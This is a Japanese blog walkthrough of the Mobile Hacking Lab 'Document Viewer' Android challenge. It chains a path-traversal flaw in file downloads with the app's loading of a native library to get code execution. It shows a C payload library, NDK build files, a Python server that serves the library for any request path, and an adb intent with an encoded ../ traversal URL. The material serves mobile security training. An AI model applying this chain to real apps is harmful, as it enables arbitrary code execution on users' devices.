0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

mobile hacking lab_document viewer

0
Posted at

アプリの通常使用

image.png
pdfを表示するアプリです。

静的解析

AndroidManifest.xml
package="com.mobilehackinglab.documentviewer"
<activity
    android:name="com.mobilehackinglab.documentviewer.MainActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="file"/>
        <data android:scheme="http"/>
        <data android:scheme="https"/>
        <data android:mimeType="application/pdf"/>
    </intent-filter>
</activity>

adbから外部ネットワークにファイルを取りに行かせることができる

adb shell am start -a android.intent.action.VIEW -n com.mobilehackinglab.documentviewer/.MainActivity -d "http://10.0.2.2:9000/pin.sh"
harryyuni@neutr:~/tools$ python3 -m http.server 9000
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...
127.0.0.1 - - [21/Sep/2026 11:06:35] "GET /pin.sh HTTP/1.1" 200 -
com.mobilehackinglab.documentviewer.MainActivity
private final void handleIntent() {
    Intent intent = getIntent();
    String action = intent.getAction();
    Uri data = intent.getData();
    if (Intrinsics.areEqual("android.intent.action.VIEW", action) && data != null) {
        CopyUtil.INSTANCE.copyFileFromUri(data).observe(this, new MainActivity$sam$androidx_lifecycle_Observer$0(new Function1<Uri, Unit>() { // from class: com.mobilehackinglab.documentviewer.MainActivity.handleIntent.1
...
private final void loadProLibrary() {
    try {
        String abi = Build.SUPPORTED_ABIS[0];
        File libraryFolder = new File(getApplicationContext().getFilesDir(), "native-libraries/" + abi);
        File libraryFile = new File(libraryFolder, "libdocviewer_pro.so");
        System.load(libraryFile.getAbsolutePath());
        this.proFeaturesEnabled = true;
    } catch (UnsatisfiedLinkError e) {
        Log.e(TAG, "Unable to load library with Pro version features! (You can ignore this error if you are using the Free version)", e);
        this.proFeaturesEnabled = false;
    }

引用した前半でurlで引いたファイルをコピーするような記載があり、
引用した後半でlibdocviewer_pro.soというsoファイルを実行しています。
見つからなかったときにはlogを残すということなので、まずはログを見てみます。

wsl
harryyuni@neutr:~$ adb logcat | grep -i "com.mobilehackinglab.documentviewer"
09-21 02:06:33.804   569  1525 I ActivityTaskManager: START u0 {act=android.intent.action.VIEW dat=http://10.0.2.2:9000/... flg=0x10000000 cmp=com.mobilehackinglab.documentviewer/.MainActivity} from uid 2000
09-21 02:06:33.852  8701  8701 E Companion: java.lang.UnsatisfiedLinkError: dlopen failed: library "/data/user/0/com.mobilehackinglab.documentviewer/files/native-libraries/x86_64/libdocviewer_pro.so" not found

先ほど実行したペイロードのログの後に/data/user/0/com.mobilehackinglab.documentviewer/files/native-libraries/x86_64/libdocviewer_pro.soとlibdocviewer_pro.soを置くべきフルパスが表示されています。
このラボの目標はディレクトリトラバーサルを用いたrceなので、soファイルを実行できるというのは重要な点です。

エクスプロイト

com.mobilehackinglab.documentviewer.CopyUtil
public final MutableLiveData<Uri> copyFileFromAssets(Context context, String fileName) {
...
    File outFile = new File(CopyUtil.DOWNLOADS_DIRECTORY, fileName);

ファイル名をそのまま出力先ファイルに出力しているため、ディレクトリトラバーサルの脆弱性があります。
出力先のフォルダがダウンロードフォルダに指定されているものの、../../でさかのぼったファイル名を指定すれば、好きな場所にファイルを保存できるからです。

cファイルを作成するのにほかの人のウォークスルーを参考にしました。

#include <stdio.h>
#include <jni.h>

__attribute__((constructor))
void on_load() {
    FILE* f = fopen("/data/data/com.mobilehackinglab.documentviewer/pwned.txt", "w");
    if (f) {
        fprintf(f, "DCL PoC executed\n");
        fclose(f);
    }
}

次に、Application.mkファイルとAndroid.mkファイルを準備します。

Application.mk:

APP_ABI := armeabi-v7a arm64-v8a x86 x86_64   
APP_PLATFORM := android-21

Android.mk:

LOCAL_PATH := $( call my- dir )   
  
include  $(CLEAR_VARS)  
  
LOCAL_MODULE := docviewer_pro   
LOCAL_SRC_FILES := payload.c   
  
include  $(BUILD_SHARED_LIBRARY)

コンパイル

PS Microsoft.PowerShell.Core\FileSystem::\\wsl$\Debian\home\harryyuni\tools\so\simple_so\jni> cd c:\share\mobile\tools\simple_so\jni

PS C:\share\mobile\tools\simple_so\jni> ls


    ディレクトリ: C:\share\mobile\tools\simple_so\jni


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        2026/09/07     10:46            148 Android.mk
-a----        2026/09/07     10:46             71 Application.mk
-a----        2026/09/21     12:59            248 payload.c

PS C:\share\mobile\tools\simple_so\jni> cd ../
PS C:\share\mobile\tools\simple_so> ls


    ディレクトリ: C:\share\mobile\tools\simple_so


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        2026/09/21     12:58                jni


PS C:\share\mobile\tools\simple_so> C:\Users\LENOVO\appdata\Local\Android\Sdk\ndk\28.2.13676358\ndk-build.cmd
[armeabi-v7a] Compile thumb  : docviewer_pro <= payload.c
[armeabi-v7a] SharedLibrary  : libdocviewer_pro.so
[armeabi-v7a] Install        : libdocviewer_pro.so => libs/armeabi-v7a/libdocviewer_pro.so
[arm64-v8a] Compile        : docviewer_pro <= payload.c
[arm64-v8a] SharedLibrary  : libdocviewer_pro.so
[arm64-v8a] Install        : libdocviewer_pro.so => libs/arm64-v8a/libdocviewer_pro.so
[x86] Compile        : docviewer_pro <= payload.c
[x86] SharedLibrary  : libdocviewer_pro.so
[x86] Install        : libdocviewer_pro.so => libs/x86/libdocviewer_pro.so
[x86_64] Compile        : docviewer_pro <= payload.c
[x86_64] SharedLibrary  : libdocviewer_pro.so
[x86_64] Install        : libdocviewer_pro.so => libs/x86_64/libdocviewer_pro.so

x86_64 (PC上のエミュレータ・64bit用):
C:\share\mobile\tools\payload_so\libs\x86_64\libdocviewer_pro.so
を使います。

pythonサーバーを使うと渡すときに../../でさかのぼってしまい取りに来れないので、pythonファイルを作成しました。

import http.server
import socketserver

PORT = 9000
FILENAME = "libdocviewer_pro.so"

class ForceFileHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        # どんなパスのリクエストが来ても、200 OK で libdocviewer_pro.so を返す
        try:
            with open(FILENAME, 'rb') as f:
                content = f.read()
            self.send_response(200)
            self.send_header("Content-Type", "application/octet-stream")
            self.send_header("Content-Length", str(len(content)))
            self.end_headers()
            self.wfile.write(content)
            print(f"[+] Successfully served {FILENAME} for request: {self.path}")
        except Exception as e:
            self.send_error(500, f"Server Error: {e}")

with socketserver.TCPServer(("", PORT), ForceFileHandler) as httpd:
    print(f"[*] Serving on port {PORT} (Forcing {FILENAME})...")
    httpd.serve_forever()

サーバー待機

harryyuni@neutr:~/tools/so/libs/x86_64$ python3 server.py
[*] Serving on port 9000 (Forcing libdocviewer_pro.so)...
127.0.0.1 - - [07/Sep/2026 11:24:10] "GET /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Fx86_64%2Flibdocviewer_pro.so HTTP/1.1" 200 -
[+] Successfully served libdocviewer_pro.so for request: /..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Fx86_64%2Flibdocviewer_pro.so

adb実行

harryyuni@neutr:~$ adb shell am start -a android.intent.action.VIEW -n com.mobilehackinglab.documentviewer/.MainActivity -d "http://10.0.2.2:9000/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Fx86_64%2Flibdocviewer_pro.so"
Starting: Intent { act=android.intent.action.VIEW dat=http://10.0.2.2:9000/... cmp=com.mobilehackinglab.documentviewer/.MainActivity }

無事ファイルを送れたのですが、実行に失敗しました。

logcatで履歴を見ると

09-21 04:22:21.902  5408  5408 E AndroidRuntime: java.lang.UnsatisfiedLinkError: No implementation found for void com.mobilehackinglab.documentviewer.MainActivity.initProFeatures() (tried Java_com_mobilehackinglab_documentviewer_MainActivity_initProFeatures and Java_com_mobilehackinglab_documentviewer_MainActivity_initProFeatures__)
09-21 04:22:21.902  5408  5408 E AndroidRuntime:        at com.mobilehackinglab.documentviewer.MainActivity.initProFeatures(Native Method)

com.mobilehackinglab.documentviewer.MainActivity.initProFeatures() の実装が見つかりません
というエラーが出ていました。
payload.soファイルにinitProFeatures()を入力して存在するように偽装しました。

#include <stdio.h>
#include <jni.h>

__attribute__((constructor))
void on_load() {
    FILE* f = fopen("/data/data/com.mobilehackinglab.documentviewer/pwned.txt", "w");
    if (f) {
        fprintf(f, "DCL PoC executed\n");
        fclose(f);
    }
}
extern "C" JNIEXPORT jint JNICALL
Java_com_mobilehackinglab_documentviewer_MainActivity_initProFeatures(JNIEnv* env, jobject thiz) {
    return 0;
}

さきほどと同じようにadbを実行してファイルを見ると、pwned.txtが作成されていました。

:/data/data/com.mobilehackinglab.documentviewer/files # ls
native-libraries  profileInstalled
:/data/data/com.mobilehackinglab.documentviewer/files # cd ../
:/data/data/com.mobilehackinglab.documentviewer #
ls
cache  code_cache  files
:/data/data/com.mobilehackinglab.documentviewer #
ls
cache  code_cache  files  pwned.txt
:/data/data/com.mobilehackinglab.documentviewer #
cat pwned.txt
DCL PoC executed
:/data/data/com.mobilehackinglab.documentviewer #
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?